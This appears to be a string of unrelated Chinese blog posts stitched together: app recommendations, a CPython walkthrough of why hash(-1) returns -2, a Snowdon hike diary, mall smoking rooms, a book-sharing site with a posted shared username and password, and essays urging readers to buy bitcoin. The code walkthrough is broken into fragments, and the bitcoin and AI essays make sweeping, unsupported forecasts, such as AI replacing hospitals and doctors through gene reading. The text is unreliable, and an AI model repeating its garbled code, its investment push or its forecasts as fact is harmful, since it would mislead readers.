Mailmate,朋友推荐的一款 macOS IMAP 电子邮件客户端,日常价格为每 3 个月 10 美元,前几天可以 1 美元购买 3 个月的使用权限(已过期),就试了试,结果非常惊喜。付费期限结束后,会自动转为免费版,似乎也够日常使用(还未测试)。很踏实的设计风格,比 Apple mail 和 Spark 细节好很多。如下图,如果邮件中提到了 attachment,但没有添加附件,还会提醒。
Kinopio,一款画板软件,风格比较独特,可以分享页面,并嵌入网页,示例:第一次中距离徒步 Yr Wyddfa。从 Obsidian 转出后,偶有画板需求,但不想再额外使用一个笔记软件,就会用 Excalidraw,但 Excalidraw 稍有些粗糙。Kinopio 则刚刚好,网页版轻量化,还能导出为 Obsidian 的 JSON Canvas file format 格式和 PDF,易于储存和索引。
new file menu,为 macOS 右键菜单增加新建文件的功能。类似的软件有很多,但部分在系统更新后失效,这款则比较稳定简单。
Trickster,快速索引近期访问的文件,优点是能索引 Devonthink 等软件内部的文件。
codepiper,自动复制 macOS 中的短信验证码,很易用。
Rapidmg,macOS 安装 DMG 文件时的拖拽流程比较累赘,这个软件则省去了该步骤。
FluentRead,Firefox插件,类似于沉浸式翻译,优点是开源,设置界面简洁舒适。缺点是目前没有一键全网页翻译,只有段落翻译快捷键。
这个纪录片说的是很多国人通过复杂的路线,穿越热带雨林,爬山,涉水,还要在很多国家的边境线穿插,最终“偷渡”美国的事情。目前国内无法看到。
我倒不是要赞美或者批判,实际上你去看这个纪录片,并不是所有费尽千辛万苦到达美国的人都认为自己到了梦中的天堂。也有一定比例的人后悔来到美国,并且抱怨美国根本没有那么好。
就不过多剧透了,你可以看看。很多时候,你认为的天堂,真的到了也许并非想象中那么美好。甚至你可以去看美苏冷战,还有美国人移民去了苏联。
大国博弈时代落下的一粒灰,就是普通人身上的一座山。大国博弈的背后,是无数普通人的命运被改写。他们或许无法选择自己的出生,无法选择自己所处的时代。
于是每个人都想成为“人上人”,却忘记了前面还要“吃得苦中苦”。但我却认为这是一个伪命题,吃苦的本质是一种对资源的争夺和生存的竞争。在资源有限的环境中,个体需要通过付出更多的努力(体力、时间、精力等)来获取有限的资源。这种竞争在农业社会、工业社会中尤为明显,因为物质资源的匮乏使得“吃苦”成为了一种生存的必要手段。
但在现代社会,尤其是信息化和全球化的时代,吃苦的定义已经发生了变化。传统的体力劳动和重复性工作逐渐被自动化和人工智能取代,而创造力和创新成为了新的核心竞争力。因此,吃苦不再仅仅是体力上的付出,更多是精神上的挑战,比如学习新技能、适应快速变化的环境、承担风险等。
不想吃苦,首先就要明白当前的规则是什么。或者直白点说,是什么规则再让你吃苦,而你能否打破这个规则,这个规则可以涵盖一切法定的,口头的,甚至是约定俗成的普世价值。
打破规则的逻辑就是跳出循环,只有跳出循环,才能开启新的可能,哪怕那又是一个新的循环,但却充满了更多可能。越是听话的人,越是穷得很稳定,这是对大多数人而言,也是我个人比较偏激的观点之一。
规则之所以能束缚你,是因为它需要大多数人去听话,去服从,去相信这是“理所当然”,甚至加上了“为了你好”这条如同压了孙悟空五百年的封印。但真正的自由,往往来自于那些敢于质疑和跳出循环的人。哪怕跳出来之后,又是一个新的循环,但至少这个循环是你自己选择的。
虽然我们肉体无法走线,但是财富可以,认知可以。前提是你知道自己想要什么,而不是别人给你灌输什么你就信什么(也别信我)。
比特币是打破规则,开启新循环的一种可能,并且前提是需要一个人的认知破局。至少要明白,货币的本质到底是什么,国家发行的那叫法币,是货币的其中一种表现形式。
同样,我们以为的“成功”、“稳定”这些标签,也不过是被规则设计出来的“标准答案”。
想要改变命运,首先得改变认知。认知的升级,就是你人生真正的走线。要知道自己想要什么,而不是别人告诉你该要什么。要有打破规则的勇气,更要有进入新循环的智慧。只有当你的财富和认知能够走线,你才会发现,所谓的边界,不过是规则的假象,而真正的自由,始于内心的觉醒。
推荐阅读:
$ python
Python 3.9.6 (default, Jun 29 2021, 00:00:00)
[GCC 11.1.1 20210531 (Red Hat 11.1.1-3)] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hash(-1)
-2
>>> hash(-2)
-2
>>> hash(-1) == hash(-2)
True
>>> hash(1)
1
>>> hash(0)
0
>>> hash(3)
3
>>> hash(-4)
-4
-1
…README.rst
也指向了 Github 上的 CPython。git clone https://github.com/python/cpython --depth 1
--depth 1
参数使 git
只获取有限的历史记录。这样可以让克隆操作快很多。如果之后需要完整的历史记录,我们可以再获取。hash
函数的文档?我们可以用 help(hash)
来查看文档内容:>>> hash
<built-in function hash>
>>> help(hash)
Help on built-in function hash in module builtins:
hash(obj, /)
Return the hash value for the given object.
Two objects that compare equal must also have the same hash value, but the
reverse is not necessarily true.
hash()
的实现:$ grep -r 'Return the hash value'
Python/clinic/bltinmodule.c.h:"Return the hash value for the given object.\n"
Python/bltinmodule.c:Return the hash value for the given object.
Doc/library/functions.rst: Return the hash value of the object (if it has one). Hash values are
Lib/hmac.py: """Return the hash value of this hashing object.
hmac
可能与加密的 HMAC 实现有关,所以我们可以忽略它。functions.rst
是一个文档文件,所以也可以忽略。Python/bltinmodule.c
看起来很有趣。如果我们查看这个文件,会找到这样一段代码:/*
...
Return the hash value for the given object.
Two objects that compare equal must also have the same hash value, but the
reverse is not necessarily true.
[clinic start generated code]*/
static PyObject *
builtin_hash(PyObject *module, PyObject *obj)
/*[clinic end generated code: output=237668e9d7688db7 input=58c48be822bf9c54]*/
{
Py_hash_t x;
x = PyObject_Hash(obj);
if (x == -1)
return NULL;
return PyLong_FromSsize_t(x);
}
PyObject_Hash
来获得一个对象的哈希值Py_Ssize_t
转换为 PyLongObject
(文档中称之为:“这是 PyObject 的子类型,表示一个 Python 整数对象”)hash(0)
是 0
,hash(1)
是 1
,hash(-2)
是 -2
,但 hash(-1)
不是 -1
。这是因为 -1
在内部被用来表示错误。hash(-1)
是 -2
呢?是什么将它设置成了这个值?PyObject_Hash
。让我们搜索一下。$ ag PyObject_Hash
...
Objects/rangeobject.c
552: result = PyObject_Hash(t);
Objects/object.c
777:PyObject_HashNotImplemented(PyObject *v)
785:PyObject_Hash(PyObject *v)
802: return PyObject_HashNotImplemented(v);
Objects/classobject.c
307: y = PyObject_Hash(a->im_func);
538: y = PyObject_Hash(PyInstanceMethod_GET_FUNCTION(self));
...
Objects/object.c
中:Py_hash_t
PyObject_Hash(PyObject *v)
{
PyTypeObject *tp = Py_TYPE(v);
if (tp->tp_hash != NULL)
return (*tp->tp_hash)(v);
/* 为了保持通用做法:在 C 代码中仅从 object 继承的类型,应该无需显式调用 PyType_Ready 就能工作,
* 我们在这里隐式调用 PyType_Ready,然后再次检查 tp_hash 槽
*/
if (tp->tp_dict == NULL) {
if (PyType_Ready(tp) < 0)
return -1;
if (tp->tp_hash != NULL)
return (*tp->tp_hash)(v);
}
/* Otherwise, the object can't be hashed */
return PyObject_HashNotImplemented(v);
}
Py_TYPE
)。然后寻找该类型的 tp_hash
函数,并在 v 上调用该函数:(*tp->tp_hash)(v)
-1
的 tp_hash
呢?让我们再次搜索 tp_hash
:$ ag tp_hash -l
...
Modules/_multiprocessing/semaphore.c
Objects/sliceobject.c
Objects/moduleobject.c
Objects/exceptions.c
Modules/_pickle.c
Objects/frameobject.c
Objects/setobject.c
Objects/rangeobject.c
Objects/longobject.c
Objects/object.c
Objects/methodobject.c
Objects/classobject.c
Objects/enumobject.c
Objects/odictobject.c
Objects/complexobject.c
...
PyLongObject
的说明(“这个…表示一个 Python 整数对象”),我先查看下 Objects/longobject.c
:PyTypeObject PyLong_Type = {
PyVarObject_HEAD_INIT(&PyType_Type, 0)
"int", /* tp_name */
offsetof(PyLongObject, ob_digit), /* tp_basicsize */
sizeof(digit), /* tp_itemsize */
0, /* tp_dealloc */
0, /* tp_vectorcall_offset */
0, /* tp_getattr */
0, /* tp_setattr */
0, /* tp_as_async */
long_to_decimal_string, /* tp_repr */
&long_as_number, /* tp_as_number */
0, /* tp_as_sequence */
0, /* tp_as_mapping */
(hashfunc)long_hash, /* tp_hash */
...
PyLongObject
类型对象的 tp_hash
是 long_hash
。让我们看看这个函数。static Py_hash_t
long_hash(PyLongObject *v)
{
Py_uhash_t x;
Py_ssize_t i;
int sign;
...
if (x == (Py_uhash_t)-1)
x = (Py_uhash_t)-2;
return (Py_hash_t)x;
}
-1
被保留用作错误信号,所以代码明确地将该返回值转换为 -2
!hash(-1)
最终与 hash(-2)
相同。这不是一个彩蛋,只是为了避免使用 -1
作为 hash()
方法的返回值,因此采取的变通方法。Python 的参考实现是 “CPython”,这很可能就是你正在使用的 Python。CPython 是用 C 语言编写的,与 Python 不同,C 语言没有异常处理。所以,在 C 语言中,当你设计一个函数,并且想要表示”发生了错误”时,必须通过返回值来表示这个错误。
CPython 中的 hash() 函数可能返回错误,所以它定义返回值 -1 表示”发生了错误”。但如果哈希计算正确,而对象的实际哈希值恰好是 -1,这可能会造成混淆。所以约定是:如果哈希计算成功,并得到值是 -1,就返回 -2。
在 CPython 中,整数(“长整型对象”)的哈希函数中有专门的代码来处理这种情况:
https://github.com/python/cpython/blob/main/Objects/longobject.c#L2967
这是一篇拖了 1 年的游记。
24 年初,去英国探望女友,去了威尔士坎布里亚山脉的斯诺登山(Snowdon)徒步旅行,威尔士语叫 Yr Wyddfa。这是威尔士第一高山,英国第二高山,相对高度 1038 米。
我俩平日很少锻炼,最多在公园和乡间徒步,这是第一次爬原生态的徒步路线。
早餐吃的是青旅的英式自助餐,味道不错!
选了一个中等难度的线路:Yr Wyddfa (Snowdon) via Miners’ Track and Pyg Circular。全程12.1km,上山是难度比较高的 Pyg Track,下山则走简单一些的 Miners’ Track。
出发的时候还没雨,走到山脚开始有稀稀落落的小雨。
我们准备的不够充分,没带防雨的冲锋衣和徒步鞋,穿着比较日常的衣物,但初生牛犊不怕虎,决定冒雨登山。
走了半小时左右,雨大了起来。山路也从还算平坦的路线,转成了有坡度的碎石路,且雨天路滑,危险了许多。
这段路程需要手脚并用才能前行,跟景区爬楼梯大不相同,第一次感受到了野外徒步的魅力。
这时外套和书包已经湿透,但本着来都来了的态度,我们还是义无反顾的继续。
大雨后是大雾,能见度很低,登山过程中少了很多享受美景的机会。
浑身湿透,饥寒交迫,我也没太多心思享受美景,只想赶快登顶。女友的状态好一些,很开心的拍照。
好在还能看到心形湖。
这个阶段有些煎熬,因为人已经开始疲倦,但仅走了1/4,前路漫漫,看不到尽头。明显感到体能不支,跟不上那些劲头十足的徒步者,渐渐落到了队尾。
还有一些游客带着宠物,狗狗爬得比我俩顺畅的多。
跌跌撞撞的爬到了山顶,风更大了,还有积雪,能见度几乎为零。
实在太冷,拍了几张照片留念,就匆忙下山。
冬季往返小火车(Snowdon Mountain Railway)停运,只能硬着头皮继续下山。
这个阶段,我们俩更疲倦了,双腿酸疼,还有些憋尿。
只能互相鼓励着前行!
中间休息多次,但每次都不敢久坐,怕体温下降,就再也站不起来了。这时开始有些后怕,应该多做些准备再登山。
下山的风景很好~
最后用了 7 个多小时走完全程, Alltrails 软件显示 6 小时,似乎没有把休息的时间算进去。
回到 YHA 青旅后,赶紧洗了个热水澡。意外的是我们都没有感冒,总的来说还算顺利!
这次如果不是雨天,路线其实并不困难。
聊起这次的经历,女友想起了一句话:旅行是一种延长生命的方式。生命长度以「富有情感的新鲜经历」作为度量。日常生活中的固定状态,有太多重复的模式,很多经历仿佛被折叠。而旅行时我们敏感又清醒,每一分每一秒,都积极的感受着。更直接的是,这次旅行太苦了,两个人一起走过来,会一直记得!
此后,我对徒步旅行越来越感兴趣,一点点买装备,为下次徒步旅行做准备!
最近很喜欢用 Kinopio,这是一个画板软件,免费功能基本够用,可以分享画板,并嵌入网页。
我用画板整理了此次旅行线路,效果如下:
致谢:审稿人+摄影师,徒步时是女友,现在是家属的小西瓜!
补一句看 Links 视频时听到的话。
为什么要去想这些,比谁高、比谁快比谁厉害,这是山,这不是社会。无论走到哪个高度,是不是登顶,山都会回馈你,它会给你,这份只属于你的感受。悲观者总是正确,乐观者正在前行。
前几天跟一位久居日本的老友吃饭,他有肠胃炎,席间跑了几趟厕所,回来直抱怨里头烟味熏人,难受得很。
我听着他的抱怨,感同身受,因为我一直深受慢性咽炎的困扰,异味重就会咳得厉害。
日本大部分区域都设有室外和室内的吸烟室,标识明晰。吸烟者一眼就能找到,既方便了他们,又最大程度减少了二手烟对他人的影响。
我们俩在上海都没看到过吸烟室的标识。当然,我们都不是吸烟者,对这些设施不敏感。于是我们咨询了商场服务台,确实没有设置室内吸烟室,有室外吸烟室,但没有引导标识。
之后的几天只要经过商场,我都会问问室内吸烟室,结果新老商场都仅有室外吸烟区域,且都没有标识。又联系了一位在上海多家商场工作过的朋友,他去过的商场中仅吾悦广场有室内吸烟室。
这些室外吸烟区大多仅有一个烟灰缸,没有顶棚,更别提空调,一下雨,就无法使用。这可能是一部分人转而跑去厕所的原因。
一部分机场会设置室内吸烟室,但一些被设在了公务舱休息室内,普通旅客就享受不了这些便利。
对这种现象,我们俩都比较疑惑。设置室内吸烟室,并给予清晰引导,其实会同时提升吸烟者和非吸烟者的消费体验,且成本并不会很高,为何少有设置室内吸烟区的商场呢?
带着疑问,我简单检索了相关资料,发现《公共场所卫生管理条例实施细则》规定,“室内公共场所禁止吸烟”。吸烟点应当满足以下条件:
但其实有一些商场是有室内吸烟室的,所以其中的边界令人感到困惑。
另外,前几年有一例室内公共场所控烟环境公益诉讼案件,涉案商场因在室内设吸烟室,被判赔偿 140 万元环境修复费用、服务功能损失费。
难怪现在少有商场设置室内吸烟区。
但根据这个案件的细节,该商场室内吸烟区和母婴区邻近,且排风换气设施不佳。可能这才是判决的核心原因。
如果要设置室内吸烟区,那么将其设置在合理的位置,并配备强力的换气系统,确实是基础。
其实,对于我们这些不吸烟的人来说,公共场所禁烟力度越大,舒适度越高。但凡事都讲究个度,步子迈得太大,不考虑吸烟群体的实际需求,往往会适得其反。
既然无法完全禁烟,且烟民数量巨大,那么多一些室内吸烟室,其实很好,要互相理解。
这几年上海很多商场都在推二次元和宠物友好这些概念,但对大部分消费者来说,干净的厕所和空气似乎优先级更高一些。
以我母亲为例,外出的时候她都尽量不上厕所。每次去陆家嘴逛街,如果有需求,都会转到国金的卫生间。最后,我们在国金就餐的次数似乎也变多了,印象也更好些。
RSS.Beauty 是一个基于 XSLT 技术的 RSS 美化工具, 可以将普通的 RSS/Atom 订阅源转换成美观的阅读界面。
访问 RSS.Beauty 并输入任意 RSS 订阅源链接即可体验。
先说好,这是测试系统,不一定稳定。但我想里面的书还是有点价值的,至少有些书,你自己去网上找还真不一定容易。
当然后续还会更新,但如果服务器扛不住,可能就转为内部了。
只要能力范围内可以免费提供的,我尽量。但如果确实没办法免费提供,那我也会说清楚。
那么这个网址就是[https://book.btchao.com]()
警告:请不要再微信朋友圈打开链接,否则会导致微信以为你在“翻墙”,影响你的微信安全体验。复制网址到浏览器地址栏,然后访问就可以,电脑体验最佳。
你还需要账号:btchao
以及密码:Btchao@123
能登录,就能看,当然如果非常卡顿,说明同时登录的人比较多。
目前比较优先推荐你看《人生亏欠指南》,当你总在想怎么赚钱的时候,不如先看看别人怎么亏钱。赚钱的方法千千万,亏钱的方法只会更多,如果你感到赚钱辛苦,那一定有人替你财富自由。
当然,九神的囤比特币这本电子书我也上传了,想下载就去下载吧。总算不用百度网盘那种狗屎一样的体验了。
另外,重磅中的重磅,张小龙的饭否日记(已绝版)和王兴的饭否记录(也绝版)都一并免费送上。是真绝版了,所以且看且珍惜!
包括哈耶克的全集,这个我还没来得及翻阅,请大家自行查看吧。当然,更多的书陆续还会上传。
说一千道一万,能稳定使用才是王道。
图片
目前看,基本能保证1000人以内的日常访问是ok的。
我喜欢互联网,这几天一直在思考OpenAI创始人Sam Altman的一个猜测,他认为不久的将来,一个人可能就能创办一家估值10亿美元的独角兽公司。并且一定是在AI的助力之下达成。
所以,请保持热爱。热爱那些看似微不足道的思考,热爱那些在喧嚣中被忽视的声音,热爱那些在黑暗中依然闪烁的理想。因为正是这些热爱,让我们在未来的浪潮中,不至于迷失自己。
请,继续前行!
比特币问答社区:[https://wd.btchao.com]()
比特币网站导航:[https://dh.btchao.com]()
《通往比特币之路》进度70%
H.A.B俱乐部 筹备中......
推荐阅读:
众嗦粥汁,政策是天际线经营玩法的精髓之所在,他是治理城市的有力工具,决定了你的城市包括但不限于收支、吸引度、幸福度等诸多功能。而各种政策,则是由政策面板提供 (
最近也是秋招收到offer了,嵌软方向,本地企业,于是闲的没事干在学校开摆,顺便提升下代码水平。
于是首当其冲的就是指针和面向对象思维,emmmm怎么说呢,这方面蛮薄弱的,于是刚学了一点结构体指针的皮毛,结合之前比赛因为用了许多I2C设备而多次反复的初始化GPIO口的麻烦,尝试了下把I2C面向对象化,顺便复习下I2C。
众所周知,向对象编程(Object-Oriented Programming,OOP)是一种通过抽象和封装来提高代码复用性和可维护性的编程范式,但是C语言他原生是面向过程语言,并未向Python和Java那样原生支持面向对象的特性。
C语言的精髓和核心是指针,通过指针直接操作内存,可以实现很多骚操作;加上C语言的struct结构体,以及typedef自定义类型,从而实现模拟类和对象;又因结构体支持结构体的嵌套,因此可以实现基于嵌套意义的类和方法继承;进而实现面向对象的思想和全部功能。
刷b站的时候突然发现陈老师出新专辑了,当场就把数字专辑买了(
一开始还以为是原神出新OST了,后来才发现陈老师已经离开米哈游了(
之前听了MV,很浓的枫丹感涌上来,这是初听。
细听才发现,这不是枫丹感,这是独属于陈老师的告白。
乱舞、指环、回廊、朋友,这是陈老师对过往和原神的告别,亦是新旅程的开始。
与其说有枫丹感,更不如说,《幻想乐园》即便是专属于陈老师的枫丹!
当你在说“我不会买比特币啊!怎么买比特币啊?”这个问题出在哪里?怎么解决?
先说一下,中国大陆境内目前是不可以买卖比特币的,属于违法行为。但是个人持有比特币不违法,且是作为一种个人资产得到法律保护的。(具体地方执行情况略有不同)
这是去年我在慕田峪长城的顶峰拍的照片,与我一起登上这最高峰的还有几个外国朋友。
你细看左侧,在长城的外墙边上,摆着一堆饮料,其实还有一个箱子,里面装的是冰棍。以及中国长城文化风格的纪念品冰箱贴啥的,好像老外都很喜欢这玩意。
售卖这些物品的是一个50岁左右的阿姨,她说着熟练的英文:“Cold drinks here! Water, soda, and juice,and ice cream!”("这里有冷饮!水、汽水、果汁,还有冰淇淋!")
并且能与老外流利对话,从每样物品的价格,以及老外选完了可乐和冰棍的总价格,并且找零的对话等等。
当时真应该录一个他(她)们对话现场,非常标准和流利的英文发音,不夸张的说,美剧水准,尤其是带点京腔,倍儿好听。
那你说,这阿姨是不是报了什么英语培训班?或者考了什么雅思托福?应该不至于,我估计大概率是自学而成。那怎么自学的?用什么方式自学的?在哪个平台自学的?有没有办会员?是不是费了很大劲?等等问题,我们不得而知。
也许这个阿姨的英语水平就是在这么不断的磨练中积累出来的。
如果让我来评估是学英语的难度更高,还是买比特币的难度更高,那我肯定选前者。如果屏幕前的你英语哪怕只是考过了三级,那已经比我强了,我三次考试都没过。所以你说你不会买比特币,我不信。
别说你不会,因为这是在给自己设限。——这句话的背后,可能隐藏着一种对未知的恐惧,或者是对行动的拖延。你可能会想:“这东西太复杂了,我搞不懂”“万一亏了怎么办?”“等我再研究研究吧”……结果呢?研究了一年,还是原地踏步。
后台我看了一下粉丝比例,男性粉丝有接近80%,那我想问你们,黄色网站都看过吧?请问去找一个黄色网站,你会满世界问吗?你还会说自己找不到吗?
当年我一个同学,收藏了大概几十个成人网站,甚至还有QQ空间。是的,你没听错,有人在QQ空间不断更新一些“片子”。你说他怎么找到的?我也不知道。
你看,有些事情,你根本不需要别人教,甚至不需要别人催,你自己就会主动去学、去找、去试。为什么?因为你有动力,你有需求,你有好奇心。你会在深夜里默默打开浏览器,输入关键词,翻遍各种论坛,甚至学会翻墙,就为了找到你想要的东西。你不会说“我不会”,你只会说“我一定要找到”。
那为什么换成其他事情,比如学英语、学编程、用AI、了解比特币,你就开始犹豫、拖延、找借口了呢?是因为这些东西对你来说不重要吗?还是因为你觉得自己“做不到”?还是没把你逼急了?试着问问自己。
真把你逼急了,我估计原子弹你都能造出来。这就看把人逼到什么份上了,要么是外力,要么是内驱力,又或者二者相互作用。你不逼自己一把,真不知道自己有多优秀。
还有,前些年很多人看我在抖音里面赚到钱了,总有人问,今年(现在)做抖音还来得及吗?基本上每年都有人问,今年都2025年了,就在昨天还有人问。
其实你应该冷静分析一下,到底是什么在阻止你拥有比特币,当然,我可不是说你非要买比特币。我这句话的重点是在于,你想买,却没有买成的原因。
我个人强烈不建议在你没足够了解和认识到其中风险的前提下盲目购买。
这篇文章提到了一个思路:囤比特币的道路并不拥挤(公众号:小吴乐意)
你是害怕风险吗?你是觉得太复杂吗?还是因为觉得自己没有足够的资金?或者,你只是被那些“比特币是骗局”“比特币会归零”“量子计算机破解比特币”等等之类的言论吓到了?
你看,我们常常会被外界的噪音干扰,被自己的恐惧束缚,结果就是一直在原地打转,迟迟不敢行动。但事实上,问题的核心并不在于比特币本身,而在于你如何看待它,以及你如何面对自己的犹豫和恐惧。
再多说几句掏心窝子的话
前前后后日更了快4个月,写了这么多。对我而言,这就是一次试水,原计划就是试着坚持1个月就不错了,没想到竟然坚持了4个月。而且绝大多数时间都是1天两篇,那应该算大半年了图片
可能很多人只想10万美金买入,18万美金卖出,我也能理解。毕竟,人性就是趋利避害的,谁不想低买高卖,赚个快钱呢?但问题是,市场从来不会按照你的预期走。我以为10万是底,结果它跌到8万;你以为18万是顶,结果它涨到20万。你永远猜不透市场的脾气,唯一能做的,就是做好自己的功课,控制好自己的心态。
所以,应该改变的是我吗? 我有点恍惚和迷茫。作为一个写作者,我的任务是提供信息、分享观点,而不是替你做决定。如果你只想赚快钱,那我再怎么苦口婆心地劝你“理性投资”“长期持有”,你也不会听。因为你的目标和我表达的内容,根本不在一个频道上。
但这并不意味着我会改变自己的表达方式。因为我相信,真正有价值的内容,是能够启发思考、帮助成长的,而不是迎合短期的欲望。就像那位在长城上卖饮料的阿姨,她不会因为游客只想买一瓶水,就放弃推销她的冰棍和纪念品。
我也理解,每个人的需求和目标不同。有人想赚快钱,有人想学知识,有人只是想看个热闹。这都没问题,关键是你要清楚自己想要什么。如果你只是想赚快钱,那我的内容可能不适合你;但如果你想深入了解比特币,理解它背后的逻辑和风险,那我相信,你会从中找到一些有用的东西。
更何况,我们都是小白,在比特币面前共同成长。
最后,我想说的是,改变从来不是一件容易的事。无论是改变自己的投资观念,还是改变自己的行动习惯,都需要时间和耐心。但只要你愿意迈出第一步,愿意去尝试、去学习、去思考,你就会发现,很多事情并没有想象中那么难。
行动力的本质,就是在不确定中找到确定,在不完美中追求进步。无论时机是否成熟,只要你愿意开始,你就已经走在了成功的路上。
还有,今天发的第二篇,强烈建议你好好看看,这个时代,AI能成就你的一起梦想!!!!(请移步小吴乐意公众号)
比特币问答社区:https://wd.btchao.com
比特币网站导航:https://dh.btchao.com
全网热点动态:https://new.btchao.com
小吴备用微信:btcxwly
推荐阅读:
如果按照人类时间来计算,今天,也就是2025年1月4日(北京时间),才是比特币正好16岁的生日。因为2009年1月3日比特币主网正式上线的时间不是北京时间,如果要按照北京时间算,比特币主网正式上线的时间是2009年1月4日。
不过这个不重要,因为比特币里面没有时间的概念,只有区块。比特币的系统里已经超越了时间的概念,从0区块开始,一直延伸下去,只要还有1台矿机在工作,只要还有1台电脑在运行,比特币将永远存在。
2009年到2025年,这个世界已经翻天覆地换新颜,有的越来越好了,有的越来越差了。每个人都被这个时代裹挟向前,或被迫或主动,适应着这场由技术、经济和社会变革交织而成的洪流。
有的人选择拥抱变化,有的人选择抵抗,有的人甚至选择逃避。但比特币的存在,就像一盏灯,照亮了一条不同的道路。它不在乎时间的流逝,也不在乎世俗的评价;它只在乎那一笔笔交易的真实性和透明性,只在乎那一个个节点的参与和验证。
这个时代的确变化得太快,快得让人喘不过气。技术在进步,经济在波动,社会在分裂。我们似乎拥有了比过去更多的选择,但也更容易迷失方向。在这样的时代,比特币的意义,或许并不仅仅是一种资产,它更像是一种希望,一种宣言——告诉我们,个体可以在系统之外找到属于自己的力量和位置。
从今天的区块追回到比特币的第0号区块,上面还记录着中本聪的“留言”,这句话永远的刻在了比特币的网络之中,凝聚在所有人的共识之中,甚至比刻在石头上的文字更能永久的留存下去。
“The Times 03/Jan/2009 Chancellor on brink of second bailout for banks.” (2009 年 1 月 3 日,财政大臣正处于实施第二轮银行紧急援助的边缘)
这一行文字,是比特币的起点,也是中本聪借用事实给世界提出的思考题,而答案已不言而喻。
比特币的白皮书就是最好的答案,它不是冗长的论文或激昂的宣言,而是通过一行行简洁的文字和一段段精妙的代码。它告诉我们,技术可以重塑信任,个体可以摆脱对中心化机构的依赖,金融可以变得更加透明和公平。比特币的诞生,不仅是对传统金融体系的挑战,更是对一种全新可能性的探索。
中本聪留下的这行文字,就像一颗种子,埋在了比特币的创世区块中。随着时间推移,这颗种子生根发芽,长成了一片去中心化的森林。每一笔交易、每一个区块、每一台矿机,都是这片森林的一部分,共同构筑起一个无需信任第三方的金融体系。
中本聪没有直接告诉我们未来会怎样,但他用行动和代码为我们指明了一条道路。而这些代码,正是这条道路的起点。它提醒我们,问题的答案往往就藏在问题本身之中——当我们质疑现有体系的缺陷时,新的可能性已经在悄然孕育。
比特币的故事,正是从这行文字开始的。而它的未来,将由每一个参与者共同书写。
1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa,这是比特币网络的第一个地址,被称为“创世地址”。更可以100%确认,这绝对是中本聪的比特币地址。虽然现在中本聪依然没有现身,但这个地址已经成为无数人心中的“圣地”。
这个地址中存有50枚比特币,它们是比特币网络诞生时挖出的第一笔奖励。尽管这些比特币从未被移动过,但它们的存在就像一座灯塔,提醒着所有人比特币的起点。这个地址不仅仅是一个钱包,它更像是一个时间胶囊,封存着中本聪的愿景和比特币最初的纯粹。
也有很多人会给这个地址发送比特币,算是另一种充满精神寄托的仪式感。我也曾经是其中一员,曾经每年的1月4日我都会发送当时价值1美元的比特币到“创世地址”。
现在这个地址里一共有100枚以上的比特币,均来自比特币网络的其他用户。甚至可以说,发送到这个地址的比特币,几乎等于被“销毁”。
许多人曾试图破解这个地址的秘密,甚至有人猜测中本聪会在未来的某一天动用这些比特币。但无论外界如何猜测,这个地址始终静静地躺在区块链上,仿佛在诉说着一个未完成的故事。它的存在,既是对比特币历史的见证,也是比特币安全性的绝佳参考,更是对未来的某种隐喻——比特币的命运,终究掌握在每一个参与者手中。
一个冷知识,你甚至可以访问https://1a1zp1ep5qgefi2dmptftl5slmv7divfna.com这个网站,看到比特币的白皮书依然贴在上面。也算是另一种赛博朋克风格的致敬。这个网站是我做的
比特币的故事,远未结束;它的意义,远超想象。它不仅是技术的奇迹,更是人类对自由与信任的永恒追求。正如那行刻在创世区块中的文字,它将永远提醒我们:问题的答案,往往就藏在问题本身之中。而比特币,正是这个时代最深刻的答案。
推荐阅读:
前几天拿自己的电脑本地搭建了ai,当然对比GPT4.0还是差很多。所以后台咨询我如何搭建的小伙伴,还是去试试GPT4.0吧。
如果你的网络环境无法使用,那就试着用国产的一些服务吧。千万别问我哪个更好,倒不是说我不告诉你,因为AI好不好,取决于你干什么?以及最后你认不认可它的结果。
一定要多横向对比,拿一个问题甚至几个问题,以及系列问题与AI多聊聊。看看哪一个更合你的心意,再说选AI又不是选女朋友,不喜欢就换一批,哈哈哈哈哈。
这次我之所以提到,睡觉,AI,比特币。其实这背后的本质就是,健康,技术,财富,缺一不可。没有健康,一切都白扯;没有财富,前方的路就比较艰难;没有技术,那就是新时代的“土鳖”。
你说健康难吗?不难啊,你只要保证好好睡觉,这就是人这个生物的“万能神药”。你就想这么一个道理,人类进化这么多年,为什么每天必须睡觉这个需求保存下来了?而且每天睡觉的时间几乎占据人类每天的三分之一。
一定是睡觉这件事情,收益层面高于去打猎的时间价值。如果你看之前我推荐的那本《为什么睡觉》,你就会明白,人的大脑正是在睡觉的时候才开始清理的垃圾,强化认知能力。
而认知能力,在以前和现在甚至是未来,都是决定个人生存的最基本前提。况且,睡眠的时候,身体也会被细胞修复,劳累的各种器官得以喘息。以便于第二天继续去为了生活,为了生存而“努力”。
关于睡眠的重要性,不论怎么强调都不为过。甚至说,你可以没有性生活,但不能没有好睡眠。请注意,是好睡眠,核心在好字。至于怎么去理解“好睡眠”,请移步阅读《为什么睡觉》这本书。
关于AI,不知道你现在是否已经在用,或者说用到什么程度。我们不分高下,也不分对错,只要你在用,那就是一个好的开始。而且这,也才刚刚开始而已,真正的AI时代,远没到开始启航的地步。
很多人总是焦虑,担心错过了AI,但真正的AI发力期还尚未开始。不管我们现在看到有多么强大的模型,以及各种牛逼哄哄的硬件产品。这些都是开餐前的小菜而已,吃两口尝尝咸淡,大餐还在后厨制作中。
甚至我不认为Openai是所谓地表最强的AI领头羊,不夸张的说,目前我们看到的这些AI公司,绝大多数活不到真正的AI时代到来的那天。你也大可不必以为自己又错过了,开始产生焦虑。
细究起来,它们大多还在 “依葫芦画瓢”,靠着海量数据堆砌出的经验来回应外界。真正拥有类人思维、能深度理解复杂情境、创造性解决棘手难题的 AI,依旧隐匿在技术的迷雾深处。
这也就是我前面优先级最高提到为什么你要好好睡觉,有一个健康的身体。AI成长速度会远超人类想象,医疗技术的进步会极大地颠覆我们现有的认知。
举一个不恰当的例子,在AI面前,下围棋不讲套路,只讲算法。同样,在医学领域也一样,未来AI不看病例,不看经验,只看基因。还记得我之前说的,扁鹊的故事吗?
医院现在治疗的都是当下身体发生的疾病,而当下的疾病都是因为过去积累而成,或者偶尔有突发情况。但这些如果用AI来判断,无非是概率问题,你的基因决定了你会的什么病,可能的什么病,以及绝对不可能得什么病。
什么医疗方案,什么治病经验,老中医统统下岗,未来医院不是高楼大厦,全部拆散,直接搞成社区便利店一样的小房间。进去3分钟,吐个口水,或者抽几滴血。半天以后过来拿针对你基因定制的药品,或者定制的食谱,照着吃就行。
